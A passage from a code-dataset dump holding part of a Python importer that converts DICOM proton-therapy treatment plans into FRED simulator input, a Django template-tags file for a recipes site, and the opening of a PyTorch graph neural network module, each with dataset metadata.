print('\\tRange Shifter = {:s}'.format('None' if not fieldInfo['RangeShifterID'] else fieldInfo['RangeShifterID']))\n print('\\tGantry Angle = {:.2f}°'.format(fieldInfo['GantryAngle_deg']))\n print('\\tCouch Angle = {:.2f}°'.format(fieldInfo['CouchAngle_deg']))\n print('\\tField Origin To Iso Dist = {:.2f} mm'.format(fieldInfo['fieldOriginToIsoDist_mm']))\n print('\\tSnout position = {:.2f} mm'.format(fieldInfo['SnoutPosition'])) \n print('\\tIso position Vec. = [ {:.2f} {:.2f} {:.2f}] mm'.format(fieldInfo['IsocenterPosition_mm'][0],fieldInfo['IsocenterPosition_mm'][1],fieldInfo['IsocenterPosition_mm'][2]))\n\n fieldInfo['slicesInfo']=[]\n for IonControlPointSequence in IonBeamSequence.IonControlPointSequence:\n if np.array(IonControlPointSequence.ScanSpotMetersetWeights).sum()==0:\n continue\n NumberOfScanSpotPositions=int(IonControlPointSequence.NumberOfScanSpotPositions)\n beamModelEnergy=interpolateBeamModel(beamModel, float(IonControlPointSequence.NominalBeamEnergy), method=beamModelInterpolationMethod)\n \n sliceInfo={ 'NominalBeamEnergy': float(IonControlPointSequence.NominalBeamEnergy),\n 'NumberOfPaintings': int(IonControlPointSequence.NumberOfPaintings),\n 'FRED_beamEnergy': beamModelEnergy.Energy_MeV,\n 'FRED_pSpread': beamModelEnergy.dEnergy_pr,\n 'FRED_epsilonX_cm': beamModelEnergy.epsilonX_cm,\n 'FRED_epsilonY_cm': beamModelEnergy.epsilonY_cm,\n 'FRED_alphaX': beamModelEnergy.alphaX,\n 'FRED_alphaY': beamModelEnergy.alphaY,\n 'FRED_betaX_cm': beamModelEnergy.betaX_cm,\n 'FRED_betaY_cm': beamModelEnergy.betaY_cm,\n 'FRED_scalingFactor': beamModelEnergy.scalingFactor,\n 'ScanSpotTuneID': float(IonControlPointSequence.ScanSpotTuneID)}\n\n\n # calculate spots parameters\n sliceSpots=pd.DataFrame({'ScanSpotWeight': IonControlPointSequence.ScanSpotMetersetWeights,\n 'ScanSpotPositionX_mm': IonControlPointSequence.ScanSpotPositionMap[0::2],\n 'ScanSpotPositionY_mm': IonControlPointSequence.ScanSpotPositionMap[1::2]})\n sliceSpots['ScanSpotMU'] = sliceSpots.ScanSpotWeight/fieldInfo['WeightSum']*fieldInfo['MUsum']\n sliceSpots['FRED_protonNumber'] = sliceSpots.ScanSpotMU*sliceInfo['FRED_scalingFactor']*sliceInfo['NumberOfPaintings']\n sliceSpots['FRED_energyDelivered'] = sliceSpots['FRED_protonNumber']*sliceInfo['FRED_beamEnergy']\n sliceInfo['PencilBeams']=len(sliceSpots.index)\n\n P_mm=np.zeros((3,sliceInfo['PencilBeams']))\n V_mm=np.array([-sliceSpots.ScanSpotPositionX_mm, sliceSpots.ScanSpotPositionY_mm, np.repeat(fieldInfo['fieldOriginToIsoDist_mm'],sliceInfo['PencilBeams'])])-P_mm\n V=V_mm/np.linalg.norm(V_mm, axis=0)\n sliceSpots['FRED_Px']=P_mm[0]/10\n sliceSpots['FRED_Py']=P_mm[1]/10\n sliceSpots['FRED_Pz']=P_mm[2]/10\n sliceSpots['FRED_Vx']=V[0]\n sliceSpots['FRED_Vy']=V[1]\n sliceSpots['FRED_Vz']=V[2]\n\n sliceInfo['sliceSpots']=sliceSpots\n\n fieldInfo['slicesInfo'].append(sliceInfo)\n\n fieldsInfo.append(fieldInfo)\n\n\n fieldInfo['PencilBeams']=0\n fieldInfo['PencilBeamsProtonNumber']=0\n fieldInfo['energyDelivered']=0\n for sliceInfo in fieldInfo['slicesInfo']:\n fieldInfo['PencilBeams']+=sliceInfo['PencilBeams']\n fieldInfo['PencilBeamsProtonNumber']+=sliceInfo['sliceSpots'].FRED_protonNumber.sum()\n fieldInfo['energyDelivered']=sliceInfo['sliceSpots'].FRED_energyDelivered.sum()\n\n\n planInfo['pencilBeamNumberAll']+=fieldInfo['PencilBeams']\n planInfo['protonNumberAll']+=fieldInfo['PencilBeamsProtonNumber']\n planInfo['planTotalEnergy']+=fieldInfo['energyDelivered']\n planInfo['fieldIDList'].append(fieldInfo['BeamNumber'])\n planInfo['fieldNameList'].append(fieldInfo['BeamName'])\n\n\n if displayInfo:\n print('\\tPencil Beams loaded = {:d}'.format(fieldInfo['PencilBeams']))\n if displayInfo:\n print('# Total pencil beams loaded in the plan = {:d}'.format(planInfo['pencilBeamNumberAll']))\n print('# Total energy delivered by the plan = {:.20E}'.format(planInfo['planTotalEnergy']))\n \n return planInfo, fieldsInfo\n\ndef writeRtplan(rtplanfileName, planInfo, fieldsInfo, getPlanVersion='', fieldToSave=None, displayInfo=True):\n import sys, os, glob\n import pandas as pd\n import pydicom as dicom\n import numpy as np\n from shutil import copyfile\n Xsec='emittance'\n\n rtplanfileName=os.path.abspath(rtplanfileName)\n \n # remove old beam model file, RS model file and material definition file from simulation folder\n if glob.glob(os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],'*beamModel.txt')):\n os.remove(glob.glob(os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],'*beamModel.txt'))[0])\n if glob.glob(os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],'*RSModel.txt')):\n os.remove(glob.glob(os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],'*RSModel.txt'))[0])\n if glob.glob(os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],'*materialDefinition.txt')):\n os.remove(glob.glob(os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],'*materialDefinition.txt'))[0])\n\n # copy current beam model file, RS model file and material definition file to simulation folder\n copyfile(planInfo['beamModelFileName'], os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],os.path.basename(planInfo['beamModelFileName'])))\n copyfile(planInfo['RSModelFileName'], os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],os.path.basename(planInfo['RSModelFileName'])))\n copyfile(planInfo['RSModelFileName'], os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],'regions.inp'))\n copyfile(planInfo['materialDefinitionFileName'], os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],os.path.basename(planInfo['materialDefinitionFileName'])))\n copyfile(planInfo['materialDefinitionFileName'], os.path.join(os.path.split(os.path.abspath(rtplanfileName))[0],'materials.inp'))\n rtplan_H=open(rtplanfileName,'w')\n \n # choose field to save or save all fields\n if not fieldToSave==None:\n if isinstance(fieldToSave, int):\n if fieldToSave in planInfo['fieldIDList']:\n fieldToSaveIdx=planInfo['fieldIDList'].index(fieldToSave)\n print('# Requested to save the rtplan only for the field ID {:d}'.format(fieldToSave))\n else:\n print('# Error: cannot find field ID {:d} in the treatment plan. Available field IDs are '.format(fieldToSave)+str(planInfo['fieldIDList']))\n exit(-1)\n elif isinstance(fieldToSave, str):\n if fieldToSave in planInfo['fieldNameList']: \n fieldToSaveIdx=planInfo['fieldNameList'].index(fieldToSave)\n \n print('# Requested to save the rtplan only for the field name \\'{:s}\\''.format(fieldToSave))\n else:\n print('# Error: cannot find field name \\'{:s}\\' in the treatment plan. Available field names are '.format(fieldToSave)+str(planInfo['fieldNameList']))\n exit(-1)\n fieldsInfo=[fieldsInfo[fieldToSaveIdx]] \n \n # write information header\n print('###############################################################################################################################################', file=rtplan_H)\n print('###### Beam plan for {:s} machine prepared in getPlan v.{:s}'.format(planInfo['TreatmentMachineName'], getPlanVersion), file=rtplan_H)\n print('###### DICOM plan {:s}'.format(planInfo['RTplanFileName']), file=rtplan_H)\n print('###### numPB {:d}, totNumParticles {:.20E}'.format(planInfo['pencilBeamNumberAll'],planInfo['protonNumberAll']), file=rtplan_H)\n print('###############################################################################################################################################', file=rtplan_H) \n \n # write field for G0\n for fieldInfo in fieldsInfo:\n print('field: {:d} ; '.format(fieldInfo['BeamNumber']), file=rtplan_H, end='')\n print('O=[ {:+.4f}, {:+.4f}, {:+.4f} ];\\t'.format(0,-fieldInfo['fieldOriginToIsoDist_mm']/10,0), file=rtplan_H, end='')\n print('f=[ {:+.3f}, {:+.3f}, {:+.3f} ];\\t'.format(0, +1, 0), file=rtplan_H, end='')\n print('u=[ {:+.3f}, {:+.3f}, {:+.3f} ];\\t'.format(0, 0, +1), file=rtplan_H, end='')\n print('exitWindowPlane={:.4f};'.format((fieldInfo['fieldOriginToIsoDist_mm']-fieldInfo['VaccumExitToISODist_mm'])/10), file=rtplan_H)\n \n #write master for field\n for fieldInfo in fieldsInfo:\n print('pbmaster: {:d} ; '.format(fieldInfo['BeamNumber']), file=rtplan_H, end='')\n print('particle={:s};\\t'.format(fieldInfo['RadiationType'].lower()), file=rtplan_H, end='')\n print('Xsec={:s};\\t'.format(Xsec), file=rtplan_H, end='')\n print('emittanceRefPlaneDistance={:.3f};\\t'.format(fieldInfo['fieldOriginToIsoDist_mm']/10), file=rtplan_H, end='')\n print('columns=[P.x,P.y,P.z,v.x,v.y,v.z,T,pSpread,N,twissAlphaX,twissBetaX,emittanceX,twissAlphaY,twissBetaY,emittanceY] ', file=rtplan_H)\n\n # group fields, prepare gantry region, save the default regions FoR\n print('group: fields {:s}'.format(' '.join('field_{:d}'.format(fieldInfo['BeamNumber']) for fieldInfo in fieldsInfo)), file=rtplan_H)\n print('region: gantry ; O = [0,0,0] ; L = [1,1,1] ; lAdaptiveSize=t ; material = vacuum', file=rtplan_H) \n print('set_parent: gantry fields NozzleGroup', file=rtplan_H) \n print('save_regions: 0', file=rtplan_H)\n \n print('##################################################', file=rtplan_H)\n print('###### Start of setup and delivery sequence ######', file=rtplan_H)\n print('##################################################', file=rtplan_H) \n for fieldInfo in fieldsInfo:\n print('###### setup sequence for field {:d}'.format(fieldInfo['BeamNumber']), file=rtplan_H)\n \n print('# translate nozzle regions by snaut position', file=rtplan_H)\n print('transform: NozzleGroup shift_by {:.4f} {:.4f} {:.4f}'.format(0,-fieldInfo['SnoutPosition']/10,0), file=rtplan_H) \n \n print('# rotate field and NozzleGroup by gantry angle', file=rtplan_H)\n print('transform: gantry rotate {:s} {:.4f}'.format('z',fieldInfo['GantryAngle_deg']), file=rtplan_H)\n \n print('# translate and rotate phantom by iso position and couch rotation', file=rtplan_H)\n print('transform: phantom shift_by {:+.4f} {:+.4f} {:+.4f}'.format(-fieldInfo['IsocenterPosition_mm'][0]/10,-fieldInfo['IsocenterPosition_mm'][1]/10,-fieldInfo['IsocenterPosition_mm'][2]/10), file=rtplan_H)\n print('transform: phantom rotate {:s} {:+.4f}'.format('y',-fieldInfo['CouchAngle_deg']), file=rtplan_H)\n \n print('# delivery sequences for slices in field {:d}'.format(fieldInfo['BeamNumber']), file=rtplan_H)\n print('deactivate: fields, NozzleGroup', file=rtplan_H)\n print('activate: field_{:d} {:s}'.format(fieldInfo['BeamNumber'],fieldInfo['RangeShifterID']), file=rtplan_H)\n print('deliver: field_{:d}'.format(fieldInfo['BeamNumber']), file=rtplan_H)\n \n print('# reset field, nozzle regions and phantom to default FoR', file=rtplan_H)\n print('restore: 0', file=rtplan_H)\n\n print('##################################################', file=rtplan_H)\n print('###### End of setup and delivery sequence ########', file=rtplan_H)\n print('##################################################', file=rtplan_H)\n\n\n spotNumber=0\n for fieldInfo in fieldsInfo:\n for sliceInfo in fieldInfo['slicesInfo']:\n for _,sliceSpot in sliceInfo['sliceSpots'].iterrows():\n spotNumber+=1\n print('pb: {:d}\\t{:d}\\t'.format(spotNumber,fieldInfo['BeamNumber']), file=rtplan_H, end='')\n print('{:+.10f}\\t{:+.10f}\\t{:+.10f}\\t'.format(sliceSpot['FRED_Px'],sliceSpot['FRED_Py'],sliceSpot['FRED_Pz']), file=rtplan_H, end='')\n print('{:+.10f}\\t{:+.10f}\\t{:+.10f}\\t'.format(sliceSpot['FRED_Vx'],sliceSpot['FRED_Vy'],sliceSpot['FRED_Vz']), file=rtplan_H, end='')\n print('{:.3f}\\t'.format(sliceInfo['FRED_beamEnergy']), file=rtplan_H, end='')\n print('{:.5E}\\t'.format(sliceInfo['FRED_pSpread']), file=rtplan_H, end='')\n print('{:.10E}\\t'.format(sliceSpot['FRED_protonNumber']), file=rtplan_H, end='')\n print('{:+.10E}\\t{:+.10E}\\t{:+.10E}\\t'.format(sliceInfo['FRED_alphaX'],sliceInfo['FRED_betaX_cm'],sliceInfo['FRED_epsilonX_cm']), file=rtplan_H, end='')\n print('{:+.10E}\\t{:+.10E}\\t{:+.10E}\\t'.format(sliceInfo['FRED_alphaY'],sliceInfo['FRED_betaY_cm'],sliceInfo['FRED_epsilonY_cm']), file=rtplan_H)\n if displayInfo:\n print('# RT plan saved to {:s}'.format(rtplanfileName))\n rtplan_H.close()\n \ndef getPlan(RTplanFileName, fieldToSave=None, FREDrtpalnFileName='current', defaultModelsFileName='default', beamModelInterpolationMethod='slinear', displayInfo=False):\n import os, re \n # version of getPlan\n version='3.4'\n if displayInfo:\n print('############################################################')\n print('# Importer of RTPLAN dicom for Fred at CCB v.{:s}'.format(version))\n print('# Implementation works for fred version 3.0.z2 or higher')\n print('############################################################')\n # get default beam model\n if defaultModelsFileName=='default':\n defaultModelsFileName='/home/shared/fred/beamModel/fred/defaultBeamModels/CCB_defaultModels.txt'\n else:\n if not os.path.isfile(defaultModelsFileName):\n print('Could not load file with default beam models (file {:s} does not exist)'.format(defaultModelsFileName))\n exit(1)\n\n # get gantry name\n dicomRT=loadDicomRT(RTplanFileName, displayInfo=False)\n for ifield in range(dicomRT.FractionGroupSequence[0].NumberOfBeams):\n if dicomRT.IonBeamSequence[ifield].TreatmentDeliveryType=='TREATMENT':\n TreatmentMachineName=dicomRT.IonBeamSequence[ifield].TreatmentMachineName\n if not TreatmentMachineName in ['GTR3','GTR4']:\n print('Room name \\'{:s}\\' not recognised'.format(TreatmentMachineName))\n exit(1)\n \n # get beam model, RS model and material definition file names\n with open(defaultModelsFileName) as f:\n for num, line in enumerate(f, 1): \n beamModelFileName_re = re.search('{:s}beamModelFileName\\W+=\\W+\\'(\\S+)\\''.format(TreatmentMachineName), line)\n if beamModelFileName_re:\n beamModelFileName=beamModelFileName_re.group(1)\n RSModelFileName_re = re.search('{:s}RSModelFileName\\W+=\\W+\\'(\\S+)\\''.format(TreatmentMachineName), line)\n if RSModelFileName_re:\n RSModelFileName=RSModelFileName_re.group(1)\n materialDefinitionFileName_re = re.search('{:s}materialDefinitionFileName\\W+=\\W+\\'(\\S+)\\''.format(TreatmentMachineName), line)\n if materialDefinitionFileName_re:\n materialDefinitionFileName=materialDefinitionFileName_re.group(1)\n # build Plan\n planInfo, fieldsInfo=buildPLAN(RTplanFileName, beamModelFileName, RSModelFileName, materialDefinitionFileName, displayInfo=displayInfo)\n # find fred rtplan file name\n if FREDrtpalnFileName=='current':\n FREDrtpalnFileName=os.path.join(os.getcwd(),'rtplan.inp')\n # write plan\n writeRtplan(FREDrtpalnFileName, planInfo, fieldsInfo, fieldToSave=fieldToSave, getPlanVersion=version, displayInfo=displayInfo) \n", "sub_path": "simRoutines/getPlanLib_CCB.py", "file_name": "getPlanLib_CCB.py", "file_ext": "py", "file_size_in_byte": 25077, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call"}, {"api_name": "pydicom.read_file", "line_number": 23, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 38, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 115, "usage_type": "attribute"}, {"api_name": "numpy.isnan", "line_number": 116, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 156, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 175, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.repeat", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 205, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 252, "usage_type": "call"}, {"api_name": "os.path", "line_number": 252, "usage_type": "attribute"}, {"api_name": "glob.glob", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path", "line_number": 255, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 255, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 255, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 256, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 256, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 256, "usage_type": "call"}, {"api_name": "os.path", "line_number": 256, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 256, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 256, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path", "line_number": 257, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 257, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 258, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path", "line_number": 258, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 258, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path", "line_number": 259, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 259, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 259, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 260, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path", "line_number": 260, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 260, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path", "line_number": 263, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 263, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 263, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path", "line_number": 264, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 264, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path", "line_number": 265, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 265, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 265, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path", "line_number": 266, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 266, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 266, "usage_type": "call"}, {"api_name": "shutil.copyfile", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path", "line_number": 267, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path.abspath", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 377, "usage_type": "call"}, {"api_name": "os.path", "line_number": 377, "usage_type": "attribute"}, {"api_name": "re.search", "line_number": 393, "usage_type": "call"}, {"api_name": "re.search", "line_number": 396, "usage_type": "call"}, {"api_name": "re.search", "line_number": 399, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 406, "usage_type": "call"}, {"api_name": "os.path", "line_number": 406, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 406, "usage_type": "call"}]} {"seq_id": "55953761", "text": "from django import template\n\nfrom recipes.models import Favourite, Follow, Purchase, Tag\n\n\nregister = template.Library()\n\n\n@register.simple_tag \ndef current_url(request):\n if request.resolver_match:\n current_url = request.resolver_match.view_name\n return current_url\n\n\n@register.filter \ndef decline(word, amount):\n amount_by_ten = amount % 10\n amount_by_hundred = amount % 100\n if amount_by_ten == 1 and amount_by_hundred != 11:\n return word\n if amount_by_ten in [2, 3, 4]:\n if amount_by_hundred not in [11, 12, 13, 14]:\n return word + \"а\"\n else:\n return word + \"ов\"\n elif amount_by_ten in [5, 6, 7, 8, 9, 0]:\n return word + \"ов\"\n\n\n@register.filter \ndef request_get(request, tag):\n tags = request.GET.getlist(\"tags\")\n if tag in tags:\n tags = [item for item in tags if item != tag]\n else:\n tags.append(tag)\n new = request.GET.copy()\n new.setlist(\"tags\", tags)\n return new.urlencode()\n\n\n@register.filter \ndef get_tags(request):\n tags = request.GET.getlist(\"tags\")\n if len(tags) == 3:\n tags.clear()\n return tags\n\n\n@register.simple_tag \ndef is_favourite(recipe, user):\n return Favourite.objects.filter(user=user, recipe=recipe).exists()\n\n\n@register.simple_tag \ndef purchases_amount(user):\n return Purchase.objects.filter(user=user).count()\n\n\n@register.simple_tag\ndef is_purchased(recipe, user):\n return Purchase.objects.filter(user=user, recipe=recipe).exists()\n\n\n@register.simple_tag\ndef is_followed(author, user):\n return Follow.objects.filter(user=user, author=author).exists() \n\n\n@register.filter\ndef startswith(text, starts):\n if isinstance(text, str):\n return text.startswith(starts)\n return False\n\n\n@register.filter\ndef tags_for_page(tags):\n\n tags = \"\".join([f\"&tags={tag}\" for tag in tags])\n return tags\n", "sub_path": "recipes/templatetags/tags_and_filters.py", "file_name": "tags_and_filters.py", "file_ext": "py", "file_size_in_byte": 1875, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.template.Library", "line_number": 6, "usage_type": "call"}, {"api_name": "django.template", "line_number": 6, "usage_type": "name"}, {"api_name": "recipes.models.Favourite.objects.filter", "line_number": 53, "usage_type": "call"}, {"api_name": "recipes.models.Favourite.objects", "line_number": 53, "usage_type": "attribute"}, {"api_name": "recipes.models.Favourite", "line_number": 53, "usage_type": "name"}, {"api_name": "recipes.models.Purchase.objects.filter", "line_number": 58, "usage_type": "call"}, {"api_name": "recipes.models.Purchase.objects", "line_number": 58, "usage_type": "attribute"}, {"api_name": "recipes.models.Purchase", "line_number": 58, "usage_type": "name"}, {"api_name": "recipes.models.Purchase.objects.filter", "line_number": 63, "usage_type": "call"}, {"api_name": "recipes.models.Purchase.objects", "line_number": 63, "usage_type": "attribute"}, {"api_name": "recipes.models.Purchase", "line_number": 63, "usage_type": "name"}, {"api_name": "recipes.models.Follow.objects.filter", "line_number": 68, "usage_type": "call"}, {"api_name": "recipes.models.Follow.objects", "line_number": 68, "usage_type": "attribute"}, {"api_name": "recipes.models.Follow", "line_number": 68, "usage_type": "name"}]} {"seq_id": "16577844", "text": "import copy\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom torch import nn as nn\n\nimport torch.nn.functional as F\nfrom torch_geometric.nn import MessagePassing\nfrom torch_geometric.nn.inits import glorot\nfrom torch_geometric.utils import softmax\nfrom torch_sparse.tensor import SparseTensor\nimport pytorch_lightning as pl\n\n\nclass LATTE(nn.Module):\n def __init__(self, t_order: int, embedding_dim: int, in_channels_dict: dict, num_nodes_dict: dict, metapaths: list,\n activation: str = \"relu\", attn_heads=1, attn_activation=\"sharpening\", attn_dropout=0.5,\n use_proximity=True, neg_sampling_ratio=2.0):\n super(LATTE, self).__init__()\n self.metapaths = metapaths\n self.node_types = list(num_nodes_dict.keys())\n self.embedding_dim = embedding_dim * t_order\n self.use_proximity = use_proximity\n self.t_order = t_order\n self.neg_sampling_ratio = neg_sampling_ratio\n\n layers = []\n t_order_metapaths = copy.deepcopy(metapaths)\n for t in range(t_order):\n layers.append(\n LATTEConv(embedding_dim=embedding_dim, in_channels_dict=in_channels_dict, num_nodes_dict=num_nodes_dict,\n metapaths=t_order_metapaths, activation=activation, attn_heads=attn_heads,\n attn_activation=attn_activation, attn_dropout=attn_dropout, use_proximity=use_proximity,\n neg_sampling_ratio=neg_sampling_ratio,\n first=True if t == 0 else False,\n embeddings=layers[0].embeddings if t > 0 else None))\n t_order_metapaths = LATTE.join_metapaths(t_order_metapaths, metapaths)\n self.layers = nn.ModuleList(layers)\n\n @staticmethod\n def join_metapaths(metapath_A, metapath_B):\n metapaths = []\n for relation_a in metapath_A:\n for relation_b in metapath_B:\n if relation_a[-1] == relation_b[0]:\n new_relation = relation_a + relation_b[1:]\n metapaths.append(new_relation)\n return metapaths\n\n @staticmethod\n def get_edge_index_values(edge_index_tup: [tuple, torch.Tensor]):\n if isinstance(edge_index_tup, tuple):\n edge_index = edge_index_tup[0]\n edge_values = edge_index[1]\n\n if edge_values.dtype != torch.float:\n edge_values = edge_values.to(torch.float)\n elif isinstance(edge_index_tup, torch.Tensor) and edge_index_tup.size(1) > 0:\n edge_index = edge_index_tup\n edge_values = torch.ones_like(edge_index_tup[0], dtype=torch.float)\n else:\n return None, None\n\n return edge_index, edge_values\n\n @staticmethod\n def join_edge_indexes(edge_index_dict_A, edge_index_dict_B, global_node_idx):\n output_dict = {}\n for metapath_a, edge_index_a in edge_index_dict_A.items():\n if is_negative(metapath_a): continue\n edge_index_a, values_a = LATTE.get_edge_index_values(edge_index_a)\n if edge_index_a is None: continue\n\n for metapath_b, edge_index_b in edge_index_dict_B.items():\n if metapath_a[-1] != metapath_b[0] or is_negative(metapath_b): continue\n\n new_metapath = metapath_a + metapath_b[1:]\n edge_index_b, values_b = LATTE.get_edge_index_values(edge_index_b)\n if edge_index_b is None: continue\n try:\n new_edge_index = adamic_adar(indexA=edge_index_a, valueA=values_a, indexB=edge_index_b,\n valueB=values_b,\n m=global_node_idx[metapath_a[0]].size(0),\n k=global_node_idx[metapath_a[-1]].size(0),\n n=global_node_idx[metapath_b[-1]].size(0),\n coalesced=True, sampling=True)\n if new_edge_index[0].size(1) == 0: continue\n output_dict[new_metapath] = new_edge_index\n\n except Exception as e:\n print(f\"{str(e)} \\n {metapath_a}: {edge_index_a.size(1)}, {metapath_b}: {edge_index_b.size(1)}\")\n continue\n\n return output_dict\n\n def forward(self, X: dict, edge_index_dict: dict, global_node_idx: dict, save_betas=False):\n \"\"\"\n This\n :param X: Dict of <node_type>:<tensor size (batch_size, in_channels)>. If nodes are not attributed, then pass an empty dict.\n :param global_node_idx: Dict of <node_type>:<int tensor size (batch_size,)>\n :param edge_index_dict: Dict of <metapath>:<tensor size (2, num_edge_index)>\n :param save_betas: whether to save _beta values for batch\n :return embedding_output, proximity_loss, edge_pred_dict:\n \"\"\"\n # device = global_node_idx[list(global_node_idx.keys())[0]].device\n proximity_loss = torch.tensor(0.0, device=self.layers[0].device) if self.use_proximity else None\n\n h_layers = {node_type: [] for node_type in global_node_idx}\n for t in range(self.t_order):\n if t == 0:\n h_dict, t_loss, edge_pred_dict = self.layers[t].forward(x_l=X, x_r=X,\n edge_index_dict=edge_index_dict,\n global_node_idx=global_node_idx,\n save_betas=save_betas)\n next_edge_index_dict = edge_index_dict\n else:\n next_edge_index_dict = LATTE.join_edge_indexes(next_edge_index_dict, edge_index_dict, global_node_idx)\n h_dict, t_loss, _ = self.layers[t].forward(x_l=h_dict, x_r=X,\n edge_index_dict=next_edge_index_dict,\n global_node_idx=global_node_idx,\n save_betas=save_betas)\n\n for node_type in global_node_idx:\n h_layers[node_type].append(h_dict[node_type])\n\n if self.use_proximity:\n proximity_loss += t_loss\n\n concat_out = {node_type: torch.cat(h_list, dim=1) for node_type, h_list in h_layers.items() \\\n if len(h_list) > 0}\n\n return concat_out, proximity_loss, edge_pred_dict\n\n def get_attn_activation_weights(self, t):\n return dict(zip(self.layers[t].metapaths, self.layers[t].alpha_activation.detach().numpy().tolist()))\n\n def get_relation_weights(self, t):\n return self.layers[t].get_relation_weights()\n\n\nclass LATTEConv(MessagePassing, pl.LightningModule):\n def __init__(self, embedding_dim: int, in_channels_dict: {str: int}, num_nodes_dict: {str: int}, metapaths: list,\n activation: str = \"relu\", attn_heads=4, attn_activation=\"sharpening\", attn_dropout=0.2,\n use_proximity=False, neg_sampling_ratio=1.0, first=True, embeddings=None) -> None:\n super(LATTEConv, self).__init__(aggr=\"add\", flow=\"target_to_source\", node_dim=0)\n self.first = first\n self.node_types = list(num_nodes_dict.keys())\n self.metapaths = list(metapaths)\n self.num_nodes_dict = num_nodes_dict\n self.embedding_dim = embedding_dim\n self.use_proximity = use_proximity\n self.neg_sampling_ratio = neg_sampling_ratio\n self.attn_heads = attn_heads\n self.attn_dropout = attn_dropout\n\n self.activation = activation.lower()\n if self.activation not in [\"sigmoid\", \"tanh\", \"relu\"]:\n print(f\"Embedding activation arg `{self.activation}` did not match, so uses linear activation.\")\n\n self.conv = torch.nn.ModuleDict(\n {node_type: torch.nn.Conv1d(\n in_channels=in_channels_dict[\n node_type] if first and node_type in in_channels_dict else embedding_dim,\n out_channels=self.num_head_relations(node_type),\n kernel_size=1) \\\n for node_type in 